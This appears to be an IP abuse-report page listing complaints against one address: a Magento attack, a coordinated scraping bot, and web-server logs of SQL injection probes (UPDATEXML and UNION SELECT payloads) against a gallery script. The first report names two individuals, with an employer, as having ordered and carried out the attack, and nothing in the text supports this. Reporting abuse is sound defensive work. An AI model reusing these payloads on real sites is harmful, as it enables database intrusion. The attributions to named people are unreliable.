Recent reportsWe have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Large-scale coordinated botnet (8M+ IPs). Ordered by Alexander Pen'kov (alexander-pen-kov-7b41aa6a/Shursky [yordim|LIS|MOW]): Retaliation after theft; Attacker: Mikhail Smirnov (mikhail-smirnov-79830323/Aidan [MOW]): Employed by Angara Technologies G ...
show moreLarge-scale coordinated botnet (8M+ IPs). Ordered by Alexander Pen'kov (alexander-pen-kov-7b41aa6a/Shursky [yordim|LIS|MOW]): Retaliation after theft; Attacker: Mikhail Smirnov (mikhail-smirnov-79830323/Aidan [MOW]): Employed by Angara Technologies Group | Attack Signature Blocked: /brands/shopby/manufacturer-iiyama-bosch-rcf-lsi-sms-f5_networks-xyz.html | UA: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 | (Magento Site)
show less
HTTPS (TCP 443) scraping bot, part of a distributed and coordinated scrape: 1 request at 2026-11-08T16:19:47+00:00, e.g. 'GET /en/darby,ylt/1tim/1/10 HTTP/2.0' with User-Agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like ...
show moreHTTPS (TCP 443) scraping bot, part of a distributed and coordinated scrape: 1 request at 2026-11-08T16:19:47+00:00, e.g. 'GET /en/darby,ylt/1tim/1/10 HTTP/2.0' with User-Agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36'. Forged browser headers; spoofed user agent (did not identify itself as a bot); robots.txt ignored (a disallowed URL requested).
show less
188.26.196.164 - - [21/Aug/2026:08:14:59 +0200] "GET /gallery/main.php?g2_itemId=2716&PageSpeed=noscript%22%29%29%20AND%20UPDATEXML%283125%2CCONCAT%280x7e%2C%28%28SELECT%20%28ELT%283125%3D3125%2C1%29%29%29%29%2C0x7e%29%2C1%29--%20- HTTP/2.0" 200 2791 ...
show more188.26.196.164 - - [21/Aug/2026:08:14:59 +0200] "GET /gallery/main.php?g2_itemId=2716&PageSpeed=noscript%22%29%29%20AND%20UPDATEXML%283125%2CCONCAT%280x7e%2C%28%28SELECT%20%28ELT%283125%3D3125%2C1%29%29%29%29%2C0x7e%29%2C1%29--%20- HTTP/2.0" 200 2791 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
188.26.196.164 - - [21/Aug/2026:08:15:00 +0200] "GET /gallery/main.php?g2_itemId=2716&PageSpeed=noscript%27%20UNION%20ALL%20SELECT%20%27osbqxqtjxgfazninquslfpemxowaiaki%27%2CNULL%2CNULL--%20dc5fds HTTP/2.0" 200 2816 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
188.26.196.164 - - [21/Aug/2026:08:15:00 +0200] "GET /gallery/main.php?g2_itemId=2716%27%20UNION%20ALL%20SELECT%20%27uqhpdwgjjlglicmimhbljnzkgjaaricz%27%2CNULL--%20utls0k&PageSpeed=noscript HTTP/2.0" 200 2780 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/2
show less
Web App Attack
Hacking
Anonymous
Distributed web crawl botnet attack (like Mellowtel), likely illicit scraping of AI training data to bypass firewall/robots.txt restrictions in thread-skip.asp